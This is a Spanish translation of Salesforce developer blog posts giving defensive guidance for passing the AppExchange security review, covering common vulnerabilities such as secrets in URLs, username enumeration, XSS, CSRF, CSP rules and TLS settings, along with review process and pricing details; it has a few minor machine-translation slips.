  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2023/08/the-top-20-vulnerabilities-found-in-the-appexchange-security-review.html

Categories
AppExchange Developers Tutoriales de Salesforce

Prepare su aplicación para pasar la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Prepare su aplicación para pasar la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Esta guía se publicó originalmente en Medium a principios de 2021 y se actualizó con la orientación y los consejos más recientes, incluidas nuevas funciones de seguridad como parte de los lanzamientos recientes y una nueva estructura de precios para las revisiones .

Ha creado su aplicación, funciona muy bien y ahora está listo para lanzarla al mundo. Pero antes de que pueda publicar su creación en AppExchange , su aplicación debe pasar una revisión de seguridad. En Salesforce, nada es más importante que la confianza de nuestros clientes. El proceso de revisión de seguridad está aquí para validar que se puede confiar en su aplicación con los datos del cliente.

En esta publicación de blog, brindaremos orientación sobre el proceso de revisión de seguridad de AppExchange para arquitectos, desarrolladores, evaluadores, propietarios de productos y cualquier otra persona involucrada en el desarrollo o envío de un paquete determinado.

Enlaces rápidos:

  1. Descripción general
  2. preguntas frecuentes
  3. Problemas comunes y antipatrones
  4. Estampación
  5. Estrategia de presentación
  6. Conclusión

Este artículo incluye una colección de las mejores prácticas de desarrollo seguro y una lista de verificación de los errores comunes encontrados durante la revisión de seguridad (SR) de AppExchange. Puede ahorrar tiempo antes de su revisión de seguridad asegurándose de evitar estos problemas comunes. No es una lista exhaustiva, y el campo de la seguridad está en constante evolución. Para evitar la duplicación, vincularemos a la fuente autorizada para un tema determinado.

Comencemos abordando algunas preguntas frecuentes sobre el proceso de revisión de seguridad.

¿Por qué mi paquete pasó el escaneo inicial y no la revisión de seguridad más profunda?

La revisión de seguridad es un proceso complejo de varias capas que involucra varias herramientas y especialistas en seguridad. Las herramientas de verificación de código automatizadas iniciales brindan una evaluación de alto nivel de su código, pero no pueden encontrar todas las vulnerabilidades de seguridad encontradas durante una revisión manual, ya que este es un campo en constante evolución y requiere experiencia humana.

¿Qué hizo que nuestro paquete fallara en la revisión?

La persona que envió la revisión debería haber recibido un correo electrónico con un archivo adjunto que detalla qué causó que la revisión fallara. Comuníquese con su administrador de cuentas de socios (PAM) si no tiene acceso a este correo electrónico/informe.

He corregido todos los resultados de la revisión de seguridad, ¡pero ahora he vuelto a fallar!

El informe de revisión de seguridad no es una lista de verificación exhaustiva de las cosas que se deben corregir, especialmente si hay una gran cantidad de problemas con un envío. Enumera las clases de vulnerabilidades encontradas en su aplicación, pero no todas las instancias en las que ocurren. La función de la revisión de seguridad es validar que su paquete cumpla con las mejores prácticas de seguridad actuales, que no tenga vulnerabilidades conocidas y que, en general, sea seguro promocionarlo a AppExchange, donde la confianza es nuestra prioridad número 1. La revisión de seguridad no está ahí para encontrar todos los problemas de seguridad por usted, esto es algo que debe integrarse en su proceso de desarrollo y revisarse periódicamente.

Envié mi paquete para revisión, ¿cuándo se revisará?

Hay un par de pasos para esto: una vez que lo envía, el paquete está sujeto a algunas comprobaciones iniciales antes de que se coloque en la cola de SR más grande. Esto detecta cualquier error de envío importante, como la versión incorrecta del paquete enviado, y brinda una respuesta rápida de que el paquete debe volver a enviarse. Una vez pasada esta etapa, pasa a la cola principal de SR. Debido al proceso laborioso de realizar la revisión de seguridad, hay un tiempo de espera de seis a nueve semanas. Consulte la documentación para obtener la información más reciente sobre la longitud de las colas.

¡Lanzamos mañana/la próxima semana y necesitamos que se revise ahora!

El proceso de revisión de seguridad lleva tiempo y debe tenerlo en cuenta en su ciclo de desarrollo y lanzamiento. En circunstancias excepcionales, se puede dar prioridad a una revisión en particular, pero recuerde que esto realmente significa excepcional y aún requiere que un revisor de seguridad esté disponible, lo que podría demorar varios días (¡nuestras revisiones son exhaustivas!). Comuníquese con su administrador de cuentas de socios si necesita ayuda.

Nuestro paquete no pasó la revisión de seguridad y lo hemos vuelto a enviar. ¿Podemos saltarnos la cola?

Cuando envía una nueva prueba, ya tiene un probador asignado, lo que, en cierto modo, se salta el tiempo de cola y va directamente a la cola de su probador.

¡Nuestro paquete ha fallado varias veces!

Hay varias razones por las que esto podría suceder:

  1. Se corrigieron algunos problemas, pero no todos . Recuerde, no destacamos todo, así que verifique su código para ver todas las instancias de un problema.
  2. Nuevo código, nuevos problemas : ¿se ha agregado un nuevo código que presenta problemas adicionales?
  3. Malentendido de los problemas planteados : esto significa que los problemas no se solucionan correctamente.
  4. Mal diseño de seguridad : ¿hay instancias en las que su código es inseguro por diseño? Puede requerir re-arquitectura.
  5. ¿Ha revisado minuciosamente la solución usted mismo? El propósito de la revisión de seguridad es confirmar que la solución se diseñó teniendo en cuenta la seguridad, no la van a asegurar por usted.

Cada aplicación es única, pero la mayoría de las fallas de revisión de seguridad se dividen en algunas categorías. Esta sección los detalla y proporciona enlaces a la documentación para ayudarlo a evitar estos problemas.

CRUD, FLS

  1. Objeto (CRUD) y Seguridad de nivel de campo (FLS) : se configuran en perfiles y conjuntos de permisos y se pueden usar para restringir el acceso a objetos estándar y personalizados y campos individuales. Los desarrolladores de Salesforce deben diseñar sus aplicaciones para hacer cumplir la configuración CRUD y FLS de la organización en objetos estándar y personalizados, y degradar correctamente si se ha restringido el acceso de un usuario. Algunos casos de uso en los que podría ser aceptable omitir CRUD/FLS son: creación de resúmenes acumulativos o agregados que no expongan directamente los datos, modificación de objetos o campos personalizados como registros o metadatos del sistema que no deberían ser accesibles directamente para el usuario a través de CRUD/FLS, y casos en los que otorgar acceso directo al objeto personalizado crea un modelo de seguridad menos seguro. Asegúrese de documentar estos casos de uso como parte de su presentación. Para obtener más información, consulte la documentación de CRUD y FLS en los documentos para desarrolladores de Salesforce.
  2. Reforzar la seguridad a nivel de campo y de objeto en Apex : el método Security.stripInaccessible para la protección de datos a nivel de campo y de objeto ya está disponible de forma general. Utilice el método stripInaccessible para eliminar los campos a los que el usuario actual no puede acceder desde los resultados de consultas y subconsultas. Utilice el método para eliminar campos inaccesibles de sObjects antes de una operación DML para evitar excepciones. Además, use el método stripInaccessible para desinfectar los sObjects que se han deserializado de una fuente que no es de confianza.
    Dónde: este cambio se aplica a Lightning Experience y Salesforce Classic en las ediciones Enterprise, Performance, Unlimited y Developer.
    Cómo: el método stripInaccesible verifica los registros de origen en busca de campos que no cumplan con la verificación de seguridad a nivel de campo y objeto para el usuario actual y crea una lista de devolución de sObjects. La lista de devolución es idéntica a los registros de origen, excepto que se eliminan los campos inaccesibles para el usuario actual.
  3. Seguridad contra rayos — Debido a que el código Lightning comparte el mismo origen que el código creado por Salesforce, se imponen mayores restricciones al código Lightning de terceros. Estas restricciones se aplican mediante Lightning Locker y una Política de seguridad de contenido especial. También hay un escrutinio adicional en la revisión de seguridad de AppExchange.
  4. Recursos externos : todo lo que interactúa con el paquete y el usuario es un objetivo para la revisión de seguridad. Es importante que el equipo de seguridad de Salesforce revise cada paquete de extensión. Incluso los paquetes pequeños pueden presentar vulnerabilidades de seguridad.
  5. Para obtener más información, consulte: Utilice las mejoras de seguridad de Apex para reducir el tiempo de desarrollo .
  6. Código Apex seguro con operaciones de base de datos en modo de usuario : los nuevos métodos Database y Search admiten un parámetro accessLevel que le permite ejecutar operaciones de base de datos y búsqueda en modo de usuario en lugar de en el modo de sistema predeterminado. Esta función, ahora disponible de forma general, incluye algunos cambios desde la última versión. El código de Apex se ejecuta en modo de sistema de forma predeterminada, lo que significa que se ejecuta con permisos sustancialmente elevados sobre el usuario que ejecuta el código. Esta función se introdujo en Spring '23.
  7. Para organizaciones de segmentación por código anteriores a Spring '23, WITH SECURITY_ENFORCED es el nivel de acceso a usar.
  8. Para las organizaciones de orientación de código posteriores a Spring '23, WITH USER_MODE es el nivel de acceso a usar.
  9. Selección del modo de uso compartido correcto: use las palabras clave de uso compartido WITH SHARING o WITHOUT SHARING en una clase para especificar si se deben aplicar las reglas de uso compartido. Incluya siempre estos últimos en los informes de falsos positivos. Utilice la palabra clave compartida heredada en una clase para ejecutar la clase en el modo compartido de la clase que la llamó.
  10. El uso compartido heredado es un tema avanzado y requiere una consideración adicional. Debido a que el modo de uso compartido se determina en el tiempo de ejecución, debe tener sumo cuidado para asegurarse de que su código de Apex sea seguro para ejecutarse tanto con el modo de uso compartido como sin el modo de uso compartido.

Puntos finales inseguros

  1. Utilice siempre HTTPS cuando se conecte a puntos finales externos para insertar o extraer datos en Salesforce como parte de su aplicación. Cualquier atacante de la red puede acceder a los datos enviados a través de HTTP en texto claro y representa una amenaza para el usuario. Encuentre más información en la Guía de codificación segura .
  2. Todos los servicios web externos a los que se hace referencia se someterán a pruebas de penetración, así que asegúrese de que estén configurados correctamente. Un problema común es cuando un servicio externo se implementa en producción en modo de depuración, lo que hace que divulgue información (seguimiento de la pila, etc.) si la prueba de penetración logra bloquearlo al enviar datos con formato incorrecto.

SOQL

  1. Evite problemas de rendimiento comunes, como consultas SOQL, en bucles FOR anidados.
  2. Evite los ataques de inyección de SOQL desinfectando las entradas y adoptando un estilo de programación defensivo.

Estilo CSS

  1. CSS para LWC s debe estar en el CSS del componente, no en línea.
  2. El CSS en línea está fuertemente desaconsejado y restringido por el modelo de seguridad de contenido .
  3. Si su CSS rompe otro componente, fallará la revisión.
  4. No use .THIS, fijo, absoluto o flotante en CSS. Los componentes están destinados a ser modulares y ejecutarse en páginas con otros.
    1. Puede agregar una documentación de falso positivo para esto, pero debe estar bien justificada.
  5. CSS también puede ser un vector de ataque, por lo que es importante prestar atención a esto. Consulte los siguientes recursos:
    1. https://css-tricks.com/css-security-vulnerability/
    2. https://www.netsparker.com/blog/web-security/private-data-stolen-exploiting-css-injection/

JavaScript

  1. Hay numerosas recomendaciones de JavaScript a lo largo de este documento, por lo que evitaremos repetirlas aquí. Una cosa adicional a considerar es verificar las versiones heredadas de las bibliotecas, especialmente jQuery. Las versiones heredadas con vulnerabilidades conocidas harán que falle la revisión, y esto es fácil de resolver antes de tiempo. Además, vale la pena mencionar de nuevo retire.js , que se puede ejecutar como una tarea de compilación o como una extensión del navegador.
  2. Las versiones heredadas de JavaScript que se incluyen con los paquetes son uno de los problemas más comunes y más fáciles de evitar que causan fallas; asegúrese siempre de estar usando la versión más reciente.

Política de seguridad de contenido

La descripción general de la política de seguridad de contenido es un excelente recurso sobre cómo Lightning Framework utiliza la política de seguridad de contenido (CSP) para imponer restricciones al contenido. El objetivo principal es ayudar a prevenir las secuencias de comandos entre sitios ( XSS ) y otros ataques de inyección de código.

Los navegadores web siguen las reglas de CSP especificadas en los encabezados de las páginas web para bloquear las solicitudes a servidores desconocidos de recursos, incluidos scripts, imágenes y otros datos. Las directivas de CSP también se aplican a JavaScript del lado del cliente, por ejemplo, restringiendo JavaScript en línea en HTML.

Tantos problemas vuelven a los puntos planteados en esa página, que tiene sentido replicar los puntos principales aquí:

  1. Solo se puede hacer referencia a las bibliotecas de JavaScript desde su organización : todas las bibliotecas de JavaScript externas deben cargarse en su organización como recursos estáticos. La directiva script-src 'self' requiere que la fuente del script se llame desde el mismo origen. Para obtener más información, consulte Uso de bibliotecas de JavaScript externas .
  2. Los recursos deben estar ubicados en su organización de manera predeterminada : las directivas font-src , img-src , media-src , frame-src , style-src y connect-src están configuradas en 'self' . Como resultado, los recursos como fuentes, imágenes, videos, contenido de marcos, CSS y scripts deben estar ubicados en la organización de forma predeterminada. Puede cambiar las directivas de CSP para permitir el acceso a recursos de terceros agregando Sitios de confianza de CSP. Para obtener más información, consulte Crear sitios de confianza de CSP para acceder a API de terceros .
  3. Conexiones HTTPS para recursos : todas las referencias a fuentes externas, imágenes, marcos y CSS deben usar una URL HTTPS. Este requisito se aplica tanto si el recurso se encuentra en su organización como si se accede a él a través de un sitio de confianza de CSP.
  4. URL de blob no permitidas en iframes : la directiva frame-src no permite el esquema blob:. Esta restricción evita que un atacante inyecte contenido arbitrario en un iframe en un intento de secuestro de clics. Use un enlace regular a una URL de blob y abra el contenido en una nueva pestaña o ventana en lugar de usar un iframe.
  5. JavaScript en línea no permitido : las etiquetas de script no se pueden usar para cargar JavaScript y los controladores de eventos no pueden usar JavaScript en línea. La fuente insegura en línea para la directiva script-src no está permitida. Por ejemplo, se evita este intento de usar un controlador de eventos para ejecutar un script en línea: <button onclick = " doSomething () "></button> .

vulnerabilidades comunes

  1. Script entre sitios (XSS) — Los ataques de Cross-Site Scripting son un tipo de problema de inyección, en el que se inyectan scripts maliciosos en sitios web de confianza y benignos. Los ataques de secuencias de comandos en sitios cruzados (XSS) ocurren cuando un atacante utiliza una aplicación web para enviar código malicioso, generalmente en forma de secuencia de comandos del lado del navegador, a un usuario final diferente. Las fallas que permiten que estos ataques tengan éxito están bastante extendidas y ocurren en cualquier lugar donde una aplicación web use la entrada de un usuario en la salida que genera sin validarla ni codificarla. Un atacante puede usar XSS para enviar un script malicioso a un usuario desprevenido. El navegador del usuario final no tiene forma de saber que no se debe confiar en el script y lo ejecutará. Debido a que cree que la secuencia de comandos proviene de una fuente confiable, la secuencia de comandos maliciosa puede acceder a cualquier cookie, token de sesión u otra información confidencial retenida por su navegador y utilizada con ese sitio. Estos scripts pueden incluso reescribir el contenido de la página HTML. Los ataques XSS almacenados son persistentes y ocurren como resultado de que la aplicación web almacene información maliciosa y luego la presente a los usuarios. Para obtener más información, consulte lawiki de OWASP .
  2. Falsificación de solicitud entre sitios (CSRF) : CSRF es un ataque que obliga a un usuario final a ejecutar acciones no deseadas en una aplicación web en la que está autenticado actualmente. Con un poco de ayuda de ingeniería social (como enviar un enlace por correo electrónico/chat), un atacante puede obligar a los usuarios de una aplicación web a ejecutar acciones de su elección. Un exploit CSRF exitoso puede comprometer los datos del usuario final y realizar acciones de cambio de estado en estos datos sin el conocimiento del usuario. Si el usuario final objetivo es la cuenta de administrador, esto puede comprometer toda la aplicación web. El uso de encabezados personalizados (incluidos métodos como PUT) para protegerse de CSRF no es un enfoque perfecto. Todavía necesita implementar el token CSRF como una medida de seguridad en profundidad.
  3. Manejo de cookies de sesión inseguro : todas las cookies de sesión deben configurarse a través de conexiones HTTPS con el indicador SEGURO. Estas cookies deben invalidarse al cerrar la sesión, y las ID de sesión almacenadas en dichas cookies deben ser aleatorias con suficiente entropía, para evitar que un atacante las adivine con una probabilidad razonable de éxito. Los valores de las cookies nunca deben reutilizarse y deben ser únicos por usuario, por sesión. Los datos confidenciales del usuario no deben almacenarse en la cookie.

Consideraciones de código

  1. Código comentado : se permiten comentarios en pequeños fragmentos y muestras, pero las funciones y clases completas que están comentadas deben eliminarse.
  2. Documentación de prueba incompleta: es importante que la documentación sea lo más completa posible, incluida la documentación de sus respuestas a los falsos positivos . Esto ayuda al revisor a comprender por qué puede estar haciendo algo de una manera particular que normalmente no sería la mejor práctica, y comprender qué acciones ha tomado para mitigar cualquier problema de seguridad.
  3. Versiones de software no seguras: Cuando se descubren nuevas vulnerabilidades en el software, es importante aplicar parches y actualizaciones a una versión del software para la que se corrige la vulnerabilidad. Los atacantes pueden crear ataques para vulnerabilidades reveladas muy rápidamente, por lo que los parches de seguridad deben implementarse tan pronto como estén disponibles. Nota: Si cree que se trata de un falso positivo, envíe un documento de falso positivo en la próxima prueba con sus motivos.
  4. Secretos en código: no almacene secretos en código. Use configuraciones personalizadas protegidas , metadatos personalizados o credenciales con nombre, según corresponda.
  5. Almacenamiento de datos confidenciales — Este es un recurso brillante sobre cómo trabajar de forma segura con datos confidenciales. Si su aplicación copia y almacena datos confidenciales que se originaron en Salesforce.com, debe tomar precauciones adicionales. Salesforce.com se toma muy en serio las amenazas a los datos que se originaron en su sitio, y una violación o pérdida de datos podría poner en peligro su relación con Salesforce si es un socio. Asegúrese de seguir las mejores prácticas de la industria para el almacenamiento seguro en su plataforma de desarrollo. Nunca almacene contraseñas de Salesforce fuera de la plataforma.
  6. Acceso al sistema externo, exfiltración de ID de sesión: la postura de seguridad sobre el uso de ID de sesión se ha endurecido significativamente en los últimos años. Específicamente, enviar el ID de sesión a un sistema externo a través de la API dará como resultado una falla automática en el futuro. Las alternativas sugeridas son usar un usuario de integración dedicado u OAuth como alternativas modernas. Borrador de orientación (se requiere iniciar sesión en la Comunidad de socios ).
  7. Eco de contraseña : almacenar información confidencial en el código fuente de su aplicación rara vez es una buena práctica, ya que cualquiera que tenga acceso al código fuente puede ver los secretos en texto claro.

Fuga de información

La fuga de información implica la revelación inadvertida de datos del sistema o la información de depuración que ayuda a un adversario a aprender sobre el sistema y formar un plan de ataque. Se produce una fuga de información cuando los datos del sistema o la información de depuración abandonan el programa a través de un flujo de salida o una función de registro.

  1. Información confidencial en la depuración: revelar información en las declaraciones de depuración puede ayudar a revelar posibles vectores de ataque a un atacante. Las declaraciones de depuración pueden ser invaluables para diagnosticar problemas en la funcionalidad de una aplicación, pero no deben divulgar públicamente información confidencial o demasiado detallada (esto incluye PII, contraseñas, claves y seguimientos de pila como mensajes de error, entre otras cosas).
  2. Información confidencial en la URL: no olvide que uno de los medios de transferencia de datos más simples es la propia URL. La información confidencial que se pasa a través del método GET (HTTP GET Query String) a la aplicación web puede provocar una fuga de datos y exponer la aplicación de varias maneras. La URL completa a menudo se almacena "tal cual" en el servidor en registros de texto claro que pueden no almacenarse de forma segura, el personal puede verlos y un tercero puede comprometerlos. Los motores de búsqueda indexan las URL que almacenan información confidencial sin darse cuenta. Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos. La información de URL se envía a aplicaciones web de terceros a través del encabezado de referencia. Los secretos a largo plazo, como nombre de usuario/contraseña, tokens de acceso de larga duración y tokens de API, no deben enviarse en URL.
  3. Configuración TLS/SSL: debido a las restricciones de exportación históricas de la criptografía de alto grado, los servidores web heredados y nuevos a menudo pueden y están configurados para manejar opciones criptográficas débiles. Incluso si normalmente se usan e instalan cifrados de alto grado, se podría usar alguna configuración incorrecta del servidor para forzar el uso de un cifrado más débil para obtener acceso al supuesto canal de comunicación seguro. El servidor no debe admitir cifrados, como SSL v2/SSL v3/TLS v1.0/TLS v1.1, o cifrados que utilicen un cifrado NULL o que tengan longitudes de clave débiles. TLS 1.0 y 1.1 han sido declarados al final de su vida útil por la mayoría de los sistemas y ya no deben usarse. Consulte: Pruebas de SSL-TLS . Actualmente, Salesforce requiere TLS 1.2 o superior.

Me gustaría hablar con el revisor.

Esto se puede arreglar, generalmente, con un mínimo de tres semanas de anticipación ya que el servicio es popular. Los revisores de seguridad tienen horario de oficina y los equipos pueden programar una sesión con ellos para analizar los resultados de una revisión. Si su paquete ha fallado un par de veces, puede valer la pena programar una cita justo después de la próxima revisión para hablar con un ingeniero de seguridad. Reserve su sesión de horario de oficina a través del Portal de seguridad para socios .

Falsos positivos

Hay momentos en los que tiene una razón legítima para hacer algo de cierta manera y ha tomado medidas para garantizar la seguridad de los datos. Estas instancias deben estar claramente marcadas en el código y deben proporcionarse comentarios para evitar falsos positivos . Sin embargo, si encuentra que tiene muchas excepciones en su código, es posible que deba considerar si su código sigue un antipatrón y necesita una nueva arquitectura.

La seguridad es un estado de ánimo, no una casilla de verificación

El propósito de la revisión de seguridad es validar que ha tomado todas las precauciones necesarias. Muchos socios tienen su primer paquete que no pasa la revisión de seguridad la primera vez, y hacen que su prioridad sea que esto no vuelva a suceder, por lo que revisan agresivamente el código de todos sus paquetes y dependencias, como servicios web externos. Esto es beneficioso para todos: hace que el proceso de revisión de seguridad sea más rápido y el socio es proactivo con respecto a la seguridad: este es el objetivo final .

Hay muchas herramientas disponibles, cada una con su propio enfoque. Úselos para ayudar en el análisis de seguridad, pero recuerde que la seguridad es una mentalidad y un proceso arquitectónico explícito. Si bien las herramientas pueden detectar patrones particulares, antipatrones y otros problemas, nunca tendrán la comprensión completa de lo que la solución está tratando de hacer o la mentalidad de un revisor humano. Aquí hay más información sobre algunas de estas herramientas:

  1. Analizador de código de Salesforce (Anteriormente Escáner CLI de Salesforce): esta es una herramienta desarrollada internamente para el análisis estático del código fuente. Es útil usar esto como parte de su proceso de desarrollo en curso. Consulte publicaciones de blog anteriores sobre esta herramienta como referencia:
    1. Desarrolle un código aún más seguro con Salesforce Code Analyzer.
    2. Mejore la calidad de su código con el escáner CLI de Salesforce
  2. Chimera : este es un servicio de escaneo en tiempo de ejecución basado en la nube que se puede usar para escanear sitios web de terceros. Tenga en cuenta que Chimera es solo para sitios web de su propiedad o en los que puede cargar un token.
  3. Escáner de código fuente (Checkmarx) — Source Code Scanner le permite programar escaneos, descargar informes de escaneos, buscar todos los escaneos para su organización y administrar los créditos de escaneo para sus organizaciones. Para obtener más información, consulte las preguntas frecuentes de Checkmarx .
  4. ZAP : Zed Attack Proxy es un escáner web de código abierto de OWASP.org y se puede usar para escanear sitios web de terceros.
  5. Vulnerabilidades y exposiciones comunes : CVE® es un diccionario de vulnerabilidades y exposiciones de seguridad cibernética divulgadas públicamente cuya búsqueda es gratuita.
  6. Retire.js — Hay una gran cantidad de bibliotecas de JavaScript para usar en la web y en las aplicaciones de Node.js. Esto simplifica enormemente las cosas, pero debemos mantenernos actualizados sobre las correcciones de seguridad. El "Uso de componentes con vulnerabilidades conocidas" ahora forma parte del OWASP Top 10 y las bibliotecas inseguras pueden representar un gran riesgo para su aplicación web. El objetivo de Retire.js es ayudarte a detectar el uso de versiones con vulnerabilidades conocidas.
  7. Base de datos nacional de vulnerabilidades : NVD es el repositorio del gobierno de EE. UU. de datos de gestión de vulnerabilidades basados en estándares representados mediante el Protocolo de automatización de contenido de seguridad (SCAP).

¿Cómo presento una revisión de seguridad?

Usted envía su paquete para su revisión a través de la Comunidad de socios . Antes de hacerlo, consulte la guía de ISVforce para obtener la orientación más reciente y asegúrese de leer toda la información en este artículo.

Modelo de precios por revisión

Tenga en cuenta que, a partir del 16 de marzo de 2023, las tarifas de revisión de seguridad pasarán a ser un modelo por intento.

  • Se elimina la tarifa de revisión inicial de $2,550.
  • Se elimina la cuota anual de $150.
  • La tarifa de revisión de seguridad es de $999 por intento para aplicaciones pagas.

¿Qué pasa con las aplicaciones gratuitas? ¿Aquí también se aplicará la nueva tarifa?

En el momento de escribir este artículo, el estado de las aplicaciones gratuitas es el siguiente:

No habrá tarifas por revisiones de seguridad para soluciones gratuitas mientras trabajamos para redefinir la política.

Sin embargo, consulte la página de actualizaciones de tarifas y la discusión para obtener la información más reciente.

Versiones de paquetes

Envíe una versión puntual (p. ej., 16.7→16.8, etc.), no una versión de parche (16.7. 1234 ). El escáner de seguridad en el portal de socios está diseñado para funcionar solo con versiones principales y secundarias (Mayor.Minor). Las versiones de parches (Major.Minor.PATCH) no son compatibles y se filtran deliberadamente de la lista de paquetes disponibles. La mayoría de los problemas que encuentran los socios cuando su paquete no está visible en el escáner de seguridad se resuelven creando una nueva versión Major.Minor (p. ej., 16.7→16.8).

Envío de paquetes múltiples

Al enviar una solución que consta de varios paquetes, es importante ser explícito en el caso de los paquetes incluidos en la organización y su relación entre ellos.

Por ejemplo:
xx = paquete base
yy – depende de xx
zz depende de xx + yy

